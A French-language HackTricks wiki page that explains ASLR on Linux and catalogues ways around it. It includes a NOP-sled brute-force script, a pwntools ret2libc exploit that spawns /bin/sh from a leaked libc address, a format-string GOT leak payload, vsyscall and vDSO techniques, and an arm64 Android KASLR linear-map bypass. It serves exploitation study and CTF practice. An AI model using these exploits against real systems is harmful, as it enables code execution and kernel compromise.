ASLR
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Informations de base
Address Space Layout Randomization (ASLR) est une technique de sécurité utilisée dans les systèmes d’exploitation pour randomiser les adresses mémoire utilisées par les processus système et applicatifs. Ce faisant, elle rend beaucoup plus difficile pour un attaquant de prédire l’emplacement de processus et de données spécifiques, tels que la pile, le tas et les bibliothèques, réduisant ainsi certaines catégories d’exploits, en particulier buffer overflows.
Vérifier l’état d’ASLR
Pour vérifier l’état d’ASLR sur un système Linux, vous pouvez lire la valeur depuis le fichier /proc/sys/kernel/randomize_va_space. La valeur stockée dans ce fichier détermine le type d’ASLR appliqué :
- 0: Pas de randomisation. Tout est statique.
- 1: Randomisation conservatrice. Les bibliothèques partagées, la pile, mmap(), la page VDSO sont randomisées.
- 2: Randomisation complète. En plus des éléments randomisés par la randomisation conservatrice, la mémoire gérée via
brk()est randomisée.
Vous pouvez vérifier l’état d’ASLR avec la commande suivante:
cat /proc/sys/kernel/randomize_va_space
Désactivation d’ASLR
Pour désactiver ASLR, réglez la valeur de /proc/sys/kernel/randomize_va_space sur 0. La désactivation d’ASLR n’est généralement pas recommandée en dehors des scénarios de test ou de débogage. Voici comment le désactiver :
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
Vous pouvez également désactiver l’ASLR pour une exécution avec :
setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args
Activation de l’ASLR
Pour activer l’ASLR, vous pouvez écrire la valeur 2 dans le fichier /proc/sys/kernel/randomize_va_space. Cela nécessite généralement les privilèges root. L’activation d’une randomisation complète peut être effectuée avec la commande suivante :
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
Persistance entre les redémarrages
Les changements effectués avec les commandes echo sont temporaires et seront réinitialisés au redémarrage. Pour rendre la modification persistante, vous devez éditer le fichier /etc/sysctl.conf et ajouter ou modifier la ligne suivante :
kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR
Après avoir modifié /etc/sysctl.conf, appliquez les changements avec :
sudo sysctl -p
This will ensure that your ASLR settings remain across reboots.
Contournements
32bit brute-forcing
PaX divise l’espace d’adressage du processus en 3 groupes :
- Code et données (initialisées et non initialisées) :
.text,.data, et.bss—> 16 bits d’entropie dans la variabledelta_exec. Cette variable est initialisée aléatoirement à chaque processus et ajoutée aux adresses initiales. - Mémoire allouée par
mmap()et bibliothèques partagées —> 16 bits, appeléedelta_mmap. - The stack —> 24 bits, référée comme
delta_stack. Cependant, elle utilise effectivement 11 bits (du 10ème au 20ème octet inclus), alignés sur 16 bytes —> Cela donne 524,288 adresses réelles possibles de stack.
Les données ci‑dessus concernent les systèmes 32-bit et l’entropie finale réduite permet de contourner ASLR en relançant l’exécution encore et encore jusqu’à ce que l’exploit réussisse.
Idées de brute-force :
- Si vous avez un overflow suffisamment grand pour contenir un grand NOP sled avant le shellcode, vous pouvez tout simplement brute-force les adresses du stack jusqu’à ce que le flux passe au-dessus d’une partie du NOP sled.
- Une autre option, si l’overflow n’est pas si grand et que l’exploit peut être exécuté localement, est d’ajouter le NOP sled et le shellcode dans une variable d’environnement.
- Si l’exploit est local, vous pouvez tenter de brute-force l’adresse de base de libc (utile pour les systèmes 32bit) :
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Si vous attaquez un serveur distant, vous pouvez essayer de brute-force l’adresse de la fonction
libcusleep, en passant 10 comme argument (par exemple). Si, à un moment donné, le serveur met 10s de plus à répondre, vous avez trouvé l’adresse de cette fonction.
Tip
Sur les systèmes 64bit l’entropie est beaucoup plus élevée et cela ne devrait pas être possible.
Brute-forcing de la pile 64 bits
Il est possible d’occuper une grande partie de la pile avec des variables d’environnement puis d’essayer d’abuser du binaire des centaines/milliers de fois en local pour l’exploiter.
Le code suivant montre comment il est possible de simplement sélectionner une adresse dans la pile et qu’au bout de quelques centaines d’exécutions cette adresse contiendra l’instruction NOP :
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>
int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
Détection NOP sur la stack par brute-force (Python)
```python import subprocess import tracebackStart the process
nop = b“\xD5\x1F\x20\x03“ # ARM64 NOP transposed n_nops = int(128000/4) shellcode_env_var = nop * n_nops
Define the environment variables you want to set
env_vars = { ‘a’: shellcode_env_var, ‘b’: shellcode_env_var, ‘c’: shellcode_env_var, ‘d’: shellcode_env_var, ‘e’: shellcode_env_var, ‘f’: shellcode_env_var, ‘g’: shellcode_env_var, ‘h’: shellcode_env_var, ‘i’: shellcode_env_var, ‘j’: shellcode_env_var, ‘k’: shellcode_env_var, ‘l’: shellcode_env_var, ‘m’: shellcode_env_var, ‘n’: shellcode_env_var, ‘o’: shellcode_env_var, ‘p’: shellcode_env_var, }
cont = 0 while True: cont += 1
if cont % 10000 == 0: break
print(cont, end=“\r”)
Define the path to your binary
binary_path = ‘./aslr-testing’
try: process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True) output = process.communicate()[0] if “0xd5” in str(output): print(str(cont) + “ -> “ + output) except Exception as e: print(e) print(traceback.format_exc()) pass
</details>
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
### Informations locales (`/proc/[pid]/stat`)
Le fichier **`/proc/[pid]/stat`** d'un processus est toujours lisible par tous et il **contient des informations intéressantes** telles que :
- **startcode** & **endcode** : Adresses situées au-dessus et au-dessous du **TEXT** du binaire
- **startstack** : L'adresse du début de la **stack**
- **start_data** & **end_data** : Adresses situées au-dessus et au-dessous de l'endroit où se trouve la **BSS**
- **kstkesp** & **kstkeip** : Adresses actuelles de **ESP** et **EIP**
- **arg_start** & **arg_end** : Adresses situées au-dessus et au-dessous de l'endroit où se trouvent les **cli arguments**.
- **env_start** &**env_end** : Adresses situées au-dessus et au-dessous de l'endroit où se trouvent les **env variables**.
Par conséquent, si l'attaquant se trouve sur le même ordinateur que le binaire exploité et que ce binaire n'attend pas l'overflow depuis des raw arguments mais depuis une **input that can be crafted after reading this file**. Il est possible pour un attaquant d'**get some addresses from this file and construct offsets from them for the exploit**.
> [!TIP]
> Pour plus d'informations sur ce fichier, consultez [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) en recherchant `/proc/pid/stat`
### Avoir un leak
- **Le challenge consiste à fournir un leak**
Si on vous donne un leak (easy CTF challenges), vous pouvez calculer des offsets à partir de celui-ci (en supposant par exemple que vous connaissez la version exacte de libc utilisée sur le système que vous exploitez). Cet exemple d'exploit est extrait de [**example from here**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (consultez cette page pour plus de détails) :
<details>
<summary>Exploit Python avec un leak libc donné</summary>
```python
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)
libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
0x0, # return address
next(libc.search(b'/bin/sh'))
)
p.sendline(payload)
p.interactive()
- ret2plt
En abusant d’un buffer overflow, il est possible d’exploiter un ret2plt pour exfiltrer l’adresse d’une fonction de la libc. Consultez :
- Format Strings Arbitrary Read
Tout comme avec ret2plt, si vous disposez d’un arbitrary read via une format strings vulnerability, il est possible d’exfiltrer l’adresse d’une libc function depuis la GOT. L’exemple suivant example is from here:
payload = p32(elf.got['puts']) # p64() if 64-bit
payload += b'|'
payload += b'%3$s' # The third parameter points at the start of the buffer
# this part is only relevant if you need to call the main function again
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])
Vous pouvez trouver plus d’informations sur la lecture arbitraire avec Format Strings dans :
Ret2ret & Ret2pop
Essayez de contourner ASLR en abusant des adresses situées dans la stack :
vsyscall
Le mécanisme vsyscall sert à améliorer les performances en permettant à certains system calls d’être exécutés en espace utilisateur, bien qu’ils fassent fondamentalement partie du kernel. L’avantage critique des vsyscalls réside dans leurs adresses fixes, qui ne sont pas soumises à ASLR (Address Space Layout Randomization). Cette nature fixe signifie que les attaquants n’ont pas besoin d’une vulnérabilité d’information leak pour déterminer leurs adresses et les utiliser dans un exploit.
Cependant, aucun gadget vraiment intéressant ne sera trouvé ici (bien que, par exemple, il soit possible d’obtenir l’équivalent d’un ret;)
(L’exemple et le code suivants sont tirés de ce writeup)
Par exemple, un attaquant pourrait utiliser l’adresse 0xffffffffff600800 dans un exploit. Tenter de sauter directement vers une instruction ret peut provoquer de l’instabilité ou des plantages après l’exécution de quelques gadgets, tandis que sauter au début d’un syscall fourni par la section vsyscall peut réussir. En plaçant soigneusement un gadget ROP qui redirige l’exécution vers cette adresse vsyscall, un attaquant peut obtenir l’exécution de code sans avoir besoin de contourner ASLR pour cette partie de l’exploit.
Exemple vmmap/vsyscall et recherche de gadgets
```text ef➤ vmmap Start End Offset Perm Path 0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff 0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap] 0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so 0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw- 0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar] 0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso] 0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so 0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw- 0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall] gef➤ x.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall] A syntax error in expression, near `.g0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'. gef➤ x/8g 0xffffffffff600000 0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305 0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc 0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 gef➤ x/4i 0xffffffffff600800 0xffffffffff600800: mov rax,0x135 0xffffffffff600807: syscall 0xffffffffff600809: ret 0xffffffffff60080a: int3 ```vDSO
Note therefore how it might be possible to bypass ASLR abusing the vdso if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won’t be randomized. For more info check:
KASLR on ARM64 (Android): bypass via fixed linear map
Sur de nombreux noyaux arm64 Android la base du kernel linear map (direct map) est fixe entre les démarrages. Les Kernel VAs pour les pages physiques deviennent prévisibles, brisant KASLR pour les cibles accessibles via le direct map.
- For CONFIG_ARM64_VA_BITS=39 (4 KiB pages, 3-level paging):
- PAGE_OFFSET = 0xffffff8000000000
- PHYS_OFFSET = memstart_addr (symbole exporté)
- Translation:
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)
Leaking PHYS_OFFSET (rooted or with a kernel read primitive)
grep memstart /proc/kallsymspour trouvermemstart_addr- Lire 8 octets à cette adresse (LE) en utilisant n’importe quel kernel read (par ex., tracing-BPF helper appelant
BPF_FUNC_probe_read_kernel) - Calculer les direct-map VAs :
virt = ((phys - PHYS_OFFSET) | 0xffffff8000000000)
Exploitation impact
- Pas besoin d’un KASLR leak séparé si la cible est dans/accessible via le direct map (par ex., page tables, kernel objects sur des pages physiques que vous pouvez influencer/observer).
- Simplifie l’obtention d’un R/W arbitraire fiable et le ciblage des données kernel sur arm64 Android.
Reproduction summary
grep memstart /proc/kallsyms-> address ofmemstart_addr- Kernel read -> decode 8 bytes LE ->
PHYS_OFFSET - Use
virt = ((phys - PHYS_OFFSET) | PAGE_OFFSET)withPAGE_OFFSET=0xffffff8000000000
Note
L’accès aux tracing-BPF helpers requiert des privilèges suffisants ; toute kernel read primitive ou info leak suffit pour obtenir
PHYS_OFFSET.
How it’s fixed
- L’espace VA kernel limité plus CONFIG_MEMORY_HOTPLUG réserve des VA pour les futurs hotplug, poussant le linear map vers la VA la plus basse (base fixe).
- Upstream arm64 removed linear-map randomization (commit
1db780bafa4c).
References
- Defeating KASLR by Doing Nothing at All (Project Zero)
- arm64: remove linear map randomization (commit 1db780bafa4c)
- Tracing BPF arbitrary read helper (Project Zero issue 434208461)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

